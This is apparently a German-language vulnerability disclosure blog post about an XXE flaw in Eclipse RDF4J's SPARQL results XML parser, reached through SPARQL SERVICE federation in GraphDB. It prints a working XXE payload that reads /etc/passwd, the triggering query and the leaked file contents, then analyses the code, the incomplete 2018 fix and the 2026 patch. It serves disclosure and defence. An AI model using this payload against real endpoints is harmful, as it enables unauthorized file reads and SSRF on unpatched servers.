Eine acht Jahre alte XXE, versteckt in einem vergessenen Branch.
Wir haben eine kritische XXE-Schwachstelle in Eclipse RDF4J entdeckt, dem Referenz-Framework für RDF in Java. Der Weg dorthin führte von einem Bug-Bounty-Fund über eine aktuelle GraphDB-Instanz bis zu einer acht Jahre alten Schwachstelle, die ein Fix aus dem Jahr 2018 nie vollständig geschlossen hatte – wegen eines Refactorings, das einen XML-Parser in zwei Branches aufteilte und nur einen davon absicherte.
Ein Server-Side-Request über SPARQL
Vor einigen Monaten stießen wir im Rahmen eines Bug-Bounty-Programms auf einen öffentlichen
SPARQL-Endpoint. Wir kannten SPARQL bereits und wussten, dass eine der Kernfunktionen der
Technologie die Query-Federation ist: Der Server greift auf eine andere
Datenbank zu, um Informationen zu beziehen. Das geschieht mit dem Schlüsselwort
SERVICE:
GET /query?query=SELECT * WHERE { SERVICE <https://my-server/> { ?s ?p ?o } } LIMIT 1
HTTP/2 500
Query evaluation error: Server responded with an unsupported file format: application/octet-stream
Das ist beabsichtigtes Verhalten und keinen Bug-Report wert. Interessanter wurde es allerdings, als wir den Request prüften, der an unseren Testserver ging:
POST / HTTP/1.1
Accept: text/csv;q=0.8, application/x-sparqlstar-results+json;q=0.8,
application/sparql-results+json;q=0.8, application/json;q=0.8,
application/sparql-results+xml;q=0.8, application/xml;q=0.8, ...
User-Agent: Apache-HttpClient/4.5.14 (Java/21.0.10)
Der Accept-Header des Clients enthält application/sparql-results+xml,
was bedeutet, dass er bereit ist, benutzergesteuertes XML zu parsen.
Ein kurzer Exkurs: RDF, SPARQL und XMLs externe Entitäten
RDF ist ein Datenmodell, das Wissen als Triples speichert: Subjekt, Prädikat, Objekt. „Dieses Manuskript – wurde geschrieben in – Basel." Ketten von Triples ergeben einen Graphen. RDF ist das Datenmodell hinter den meisten Linked Data und wird häufig in der Infrastruktur von Bibliotheken, Museen und Archiven eingesetzt.
SPARQL ist die zugehörige Abfragesprache. Um jedes Subjekt-Objekt-Paar zu erhalten, das über das Prädikat „writtenIn" verbunden ist, würde man Folgendes ausführen:
SELECT ?manuscript ?place WHERE {
?manuscript <http://example.org/writtenIn> ?place .
}
SPARQL Results XML ist ein Format für die Antwort. Es ist ein schlanker XML-Umschlag: eine Liste von Variablennamen, danach eine Zeile pro Ergebnis.
<?xml version="1.0"?>
<sparql xmlns="http://www.w3.org/2005/sparql-results#">
<head>
<variable name="manuscript"/>
<variable name="place"/>
</head>
<results>
<result>
<binding name="manuscript">
<uri>http://example.org/thisManuscript</uri>
</binding>
<binding name="place">
<literal>Basel</literal>
</binding>
</result>
</results>
</sparql>
Wie zuvor erklärt, können wir dem Dienst dank des SERVICE-Schlüsselworts
beliebiges SPARQL Results XML zum Parsen übergeben. Wer sich mit Application
Security beschäftigt, ahnt vermutlich schon, worauf das hinausläuft…
…XXE! Das steht für XML External Entity Processing und beschreibt, was passiert, wenn ein XML-Parser bereit ist, Entitäten aufzulösen, die das Dokument für sich selbst deklariert.
Entitätsdefinitionen in XML erfüllen zwei praktische Zwecke. Zum einen dienen sie als Abkürzungen. Statt eine vollständige URI immer wieder zu tippen, kann man eine Entität einmal definieren und eine Ressource anschließend über den definierten Ausdruck referenzieren – die übliche Konvention in RDF/XML, wo Entitäten für Namespace-Präfixe stehen. Nebenbei bemerkt: Erlaubt man Nutzern, solche internen Entitäten zu definieren, kann das zu DoS-Schwachstellen führen.
Zum anderen erlaubt es, extern definierte Entitäten einzubinden – und genau dieser zweite Zweck führt zu den schwerwiegenderen Schwachstellen. Betrachten wir folgendes XML:
<!DOCTYPE sparql [
<!ENTITY evil SYSTEM "/etc/passwd">
]>
...
<binding name="o"><literal>&evil;</literal></binding>
Ein Parser mit Standardeinstellungen sieht &evil;, liest daraufhin
/etc/passwd und setzt den Inhalt in das Dokument ein. Wird der resultierende
Wert an die Person zurückgegeben, die die Query gestellt hat, hat man ein Lesen beliebiger
Dateien. Man kann eine Entität auch mit einer http://-URI definieren und erhält
SSRF aus dem Datenbank-Prozess heraus.
„Löse /etc/passwd auf!"
Also begannen wir, den SPARQL-Endpoint auf XXE-Schwachstellen zu testen. Wir richteten einen
Server ein, der gültige SPARQL-XML-Ergebnisse ausliefert, und brachte den SPARQL-Prozessor
mit dem SERVICE-Schlüsselwort dazu, ihn anzusprechen. Nach einigen Fehlversuchen
hosteten wir folgendes Dokument:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE sparql [
<!ENTITY xxe SYSTEM "/etc/passwd">
]>
<sparql xmlns="http://www.w3.org/2005/sparql-results#">
<head>
<variable name="s"/>
<variable name="p"/>
<variable name="o"/>
</head>
<results>
<result>
<binding name="s"><uri>http://example.org/leak</uri></binding>
<binding name="p"><uri>http://example.org/data</uri></binding>
<binding name="o"><literal>&xxe;</literal></binding>
</result>
</results>
</sparql>
und tatsächlich enthielt der Tabelleneintrag für o:
oroot:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
Wir verfassten einen Bug-Bounty-Report, er wurde angenommen, und man teilte uns mit, dass das Problem nun behoben sei. Ein kurzer Retest bestätigte den Fix.
Einige Monate später fiel uns bei der Arbeit an einem Digital-Humanities-Projekt mit einer GraphDB-Instanz im Stack ein SPARQL-Query-Endpoint auf. Aus einer Ahnung heraus beschlossen wir, ihn kurz auf ähnliche XXE-Probleme zu testen. Es funktionierte. Identisches Verhalten.
Das rückte unser Bug-Bounty-Fund in ein neues Licht. Was wir für eine Fehlkonfiguration gehalten hatten, sah plötzlich wie eine 0-Day-Schwachstelle aus.
Von GraphDB zu RDF4J
Das Produkt, das wir beruflich getestet hatte, war GraphDB, ein kommerzieller RDF-Triplestore, der mit Standardkonfiguration lief. Es ist nicht Open Source, daher bestand der erste Schritt darin, sich anzusehen, was tatsächlich mitgeliefert wird. Es ist eine JVM-Anwendung, und die JARs liegen direkt im Container-Image:
$ podman run --rm --entrypoint sh ontotext/graphdb:11.5.0 \
-c 'ls /opt/graphdb/dist/lib | grep rdf4j-queryresultio'
rdf4j-queryresultio-api-5.3.1-jakarta.jar
rdf4j-queryresultio-binary-5.3.1-jakarta.jar
rdf4j-queryresultio-sparqljson-5.3.1-jakarta.jar
rdf4j-queryresultio-sparqlxml-5.3.1-jakarta.jar <-- this one
rdf4j-queryresultio-text-5.3.1-jakarta.jar
GraphDB implementiert das RDF-Parsing nicht selbst. Es baut auf Eclipse RDF4J auf, dem Referenz-Java-Framework für RDF. Eine laufende Instanz verrät sogar die Version, unter RDF4Js altem Namen:
$ curl -s localhost:7200/rest/info/version
{"productType":"free","productVersion":"11.5.0","connectors":"16.8.0",
"Ontop":"5.5.0","sesame":"5.3.1-jakarta","Workbench":"3.5.0"}
RDF4J ist Open Source, also fanden wir heraus, dass das, was unser XML parste, der
AbstractSPARQLXMLParser aus RDF4J war.
Ein Blick in den Parser
Interessanterweise hatte RDF4J bereits vor acht Jahren eine XXE-Schwachstelle: CVE-2018-1000644 klang ziemlich genau nach dem Problem, das wir gefunden hatten. Die Instanzen, die wir getestet hatten, waren allerdings eindeutig nicht so alt.
Werfen wir einen Blick in den Code, um zu verstehen, was da passierte. In RDF4J 5.3.1 hat
core/queryresultio/sparqlxml/src/main/java/org/eclipse/rdf4j/query/resultio/sparqlxml/AbstractSPARQLXMLParser.java
einen öffentlichen Einstiegspunkt, der nicht weiß, was er gleich parsen wird:
// 5.3.1, lines 60-64
@Override
public void parseQueryResult(InputStream in)
throws IOException, QueryResultParseException, QueryResultHandlerException {
parseQueryResultInternal(in, true, true);
}
Diese beiden Booleans sind attemptParseBoolean und attemptParseTuple.
Es gibt zwei Arten von SPARQL-Queries, die Lösungen für einen gegebenen Graphen anfragen: ASK
und SELECT. ASK stellt eine einfache Frage, die mit einem Boolean beantwortet werden kann (also
„ja" oder „nein"). SELECT hingegen möchte als Antwort eine Multimenge von n-Tupeln, die eine
gewählte Eigenschaft erfüllen. Da der Parser nicht weiß, was er bekommen hat, versucht er das
eine, und wenn das fehlschlägt, das andere. Es sind also zwei Branches zu betrachten.
Branch eins — die Boolean-Antwort (Zeilen 83–179)
// 5.3.1, lines 83-107 (abridged)
if (attemptParseBoolean) {
try {
SPARQLBooleanSAXParser valueParser = new SPARQLBooleanSAXParser();
XMLReader xmlReader;
if (getParserConfig().isSet(XMLParserSettings.CUSTOM_XML_READER)) {
xmlReader = getParserConfig().get(XMLParserSettings.CUSTOM_XML_READER);
} else {
xmlReader = XMLReaderFactory.createXMLReader();
}
xmlReader.setErrorHandler(this);
// Set all compulsory feature settings, using the defaults if they are
// not explicitly set
for (RioSetting<Boolean> aSetting : getCompulsoryXmlFeatureSettings()) {
try {
xmlReader.setFeature(aSetting.getKey(), getParserConfig().get(aSetting));
} catch (SAXNotRecognizedException e) {
reportWarning(...);
}
}
// ... three more loops just like it
Vier Schleifen wenden verpflichtende Features, verpflichtende Properties, optionale Features
und optionale Properties an. Ein CUSTOM_XML_READER wird berücksichtigt, falls der
Aufrufer einen bereitgestellt hat. Die verpflichtende Liste enthält sichere Einstellungen für
den XML-Parser (Zeilen 252–259):
// 5.3.1, lines 252-259
public Collection<RioSetting<Boolean>> getCompulsoryXmlFeatureSettings() {
Set<RioSetting<Boolean>> results = new HashSet<>();
results.add(XMLParserSettings.SECURE_PROCESSING);
results.add(XMLParserSettings.DISALLOW_DOCTYPE_DECL);
results.add(XMLParserSettings.EXTERNAL_GENERAL_ENTITIES);
results.add(XMLParserSettings.EXTERNAL_PARAMETER_ENTITIES);
return results;
}
Hier sind EXTERNAL_GENERAL_ENTITIES und EXTERNAL_PARAMETER_ENTITIES
standardmäßig false und DISALLOW_DOCTYPE_DECL ist true.
Das ist alles, was man braucht, um eine XXE zu verhindern. Warum ist GraphDB also verwundbar?
Überschreibt es die Defaults? Nein – ein kurzer Test zeigte, dass GraphDB die externe Entität
bei Boolean-Result-XMLs nicht auflöste.
Branch zwei — die Tupel-Antwort (Zeilen 181–199)
// 5.3.1, lines 181-199
if (attemptParseTuple) {
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setErrorHandler(this);
internalSAXParser = new SimpleSAXParser(xmlReader);
internalSAXParser.setPreserveWhitespace(true);
internalSAXParser.setListener(new SPARQLResultsSAXParser(this.valueFactory, this.handler));
internalSAXParser.parse(uncloseable);
// we had success, so remove the exception that we were tracking
// from
// the boolean failure
caughtException = null;
} catch (SAXException e) {
caughtException = e;
}
}
Eine Zeile, um den Reader zu erzeugen. Sonst nichts. Die verpflichtenden Einstellungen werden
nicht angewendet, die optionalen ebenso wenig, und CUSTOM_XML_READER wird nicht
genutzt. Die XMLReaderFactory führt selbst kein Hardening durch. Das ist einfach
ein Standard-XMLReader – und er löst externe Entitäten auf.
Zusammengefasst passiert beim Einsatz von Query-Federation zum Abrufen einer Tupel-Antwort Folgendes:
- Der Boolean-Branch läuft zuerst, mit all seinen Schutzmaßnahmen, und schlägt fehl, weil das Dokument kein Boolean-Result ist.
- Der Fehler wird abgefangen und in
caughtExceptionzwischengespeichert. - Danach läuft der Tupel-Branch, mit einem Standard-Parser.
&xxe;wird aufgelöst und durch den Inhalt von/etc/passwdersetzt.
Den Fix von 2018 reparieren
Die CVE für unseren Bug ist als unvollständiger Fix für CVE-2018-1000644 eingetragen. Jene
XXE von 2018 wurde in 2.4.1 durch
PR #1146
behoben und deckte drei XML-Parser ab: RDFXMLParser, TriXParser und
den SPARQL-Results-Parser, den ich gerade gelesen hatte.
Die ersten beiden wurden ordentlich gefixt. Sie wurden auf eine gemeinsame Basisklasse
XMLReaderBasedParser verschoben, die einen konfigurierten Reader an einer Stelle
aufbaut, und jeder erhielt einen Regressionstest, der ihm ein echtes bösartiges Dokument
vorsetzt. Der SPARQL-Results-Parser bekam nur drei Zeilen:
public Collection<RioSetting<Boolean>> getCompulsoryXmlFeatureSettings() {
Set<RioSetting<Boolean>> results = new HashSet<RioSetting<Boolean>>();
results.add(XMLParserSettings.SECURE_PROCESSING);
+ results.add(XMLParserSettings.DISALLOW_DOCTYPE_DECL);
+ results.add(XMLParserSettings.EXTERNAL_GENERAL_ENTITIES);
+ results.add(XMLParserSettings.EXTERNAL_PARAMETER_ENTITIES);
return results;
}
Vor 2018 enthielt die results-Menge nur SECURE_PROCESSING, das eine
XXE nicht verhindert, sodass beide Branches verwundbar waren. Danach war der Boolean-Branch
(derjenige, der die Liste liest) sicher, während der andere unangetastet blieb. Doch woher
kommt die Asymmetrie zwischen dem Boolean- und dem Tupel-Branch?
Vor Commit a9cc29603f waren beide Branches identisch:
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.setErrorHandler(this);
Der Commit führte jedoch die Asymmetrie ein. Er wandte die verpflichtenden Einstellungen (zu
diesem Zeitpunkt nur SECURE_PROCESSING) im Boolean-Branch an. Das war ein Versuch,
die Bibliothek gegen eine DoS-Schwachstelle abzusichern (den
Billion-Laughs-Angriff),
und offenbar übersah der Entwickler, dass es tatsächlich zwei Branches gibt. Die beiden
Branches drifteten weiter auseinander, und letztlich erhielt nur der Boolean-Branch den Fix für
die 2018er-CVE, während der „vergessene" Tupel-Branch bis 2026 verwundbar blieb.
Die Aufteilung zu beheben war einfach genug. Version 5.3.2 lagert die Einrichtung des
XMLReader in eine Methode aus, die einen standardmäßig sicheren
XMLReader zurückgibt:
// 5.3.2, line 165
private XMLReader getXMLReader() throws SAXException {
XMLReader xmlReader;
if (getParserConfig().isSet(XMLParserSettings.CUSTOM_XML_READER)) {
xmlReader = getParserConfig().get(XMLParserSettings.CUSTOM_XML_READER);
} else {
xmlReader = XMLReaderFactory.createXMLReader();
}
xmlReader.setErrorHandler(this);
for (RioSetting<Boolean> aSetting : getCompulsoryXmlFeatureSettings()) { ... }
for (RioSetting<?> aSetting : getCompulsoryXmlPropertySettings()) { ... }
for (RioSetting<Boolean> aSetting : getOptionalXmlFeatureSettings()) { ... }
for (RioSetting<?> aSetting : getOptionalXmlPropertySettings()) { ... }
return xmlReader;
}
und ruft sie aus beiden Branches auf:
// 5.3.2, line 90 (boolean branch)
XMLReader xmlReader = getXMLReader();
// 5.3.2, line 126 (tuple branch)
XMLReader xmlReader = getXMLReader();
Behebung
Disclosure-Timeline
- 10.06.2026Das Problem wurde an Eclipse gemeldet.
- 19.06.2026Das Projekt kündigte in seinem internen Issue-Tracker an, das Problem zu beheben.
- 23.06.2026Das Release von RDF4J 5.3.2 behob das Problem.
- ausstehendEin GraphDB-Release mit der gefixten RDF4J-Version steht noch aus.
Referenzen
- CVE-2026-15803https://www.cve.org/CVERecord?id=CVE-2026-15803
- RDF4J 5.3.2 Release Noteshttps://rdf4j.org/release-notes/5.3.2/
- Eclipse CVE-Zuweisunghttps://gitlab.eclipse.org/security/cve-assignment/-/work_items/175
- CVE-2018-1000644https://nvd.nist.gov/vuln/detail/CVE-2018-1000644
- Der Fix von 2018, PR #1146https://github.com/eclipse-rdf4j/rdf4j/pull/1146
- Der Fix von 2026, PR #5887 / GH-5824https://github.com/eclipse-rdf4j/rdf4j/pull/5887
- OWASP zu XXEhttps://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing
- SPARQL-Results-XML-Formathttps://www.w3.org/TR/rdf-sparql-XMLres/